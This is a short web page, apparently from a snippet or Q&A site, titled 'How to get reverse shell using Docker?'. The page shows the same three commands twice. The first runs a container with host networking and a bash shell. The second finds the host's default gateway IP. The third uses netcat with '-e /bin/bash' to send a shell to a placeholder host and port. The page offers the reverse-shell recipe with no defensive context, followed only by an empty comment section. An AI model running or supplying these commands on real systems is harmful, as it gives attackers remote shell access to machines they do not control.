docker run --net=host -it [image_name] /bin/bash
ip route | awk '/default/ { print $3 }'
nc [host_ip] [port] -e /bin/bash
How to get reverse shell using Docker?
Loading comments...
docker run --net=host -it [image_name] /bin/bash
ip route | awk '/default/ { print $3 }'
nc [host_ip] [port] -e /bin/bash
Comments
No comments yet. Be the first to comment!
Leave a Comment
Comments are moderated for security reasons. Your comment will be added after review.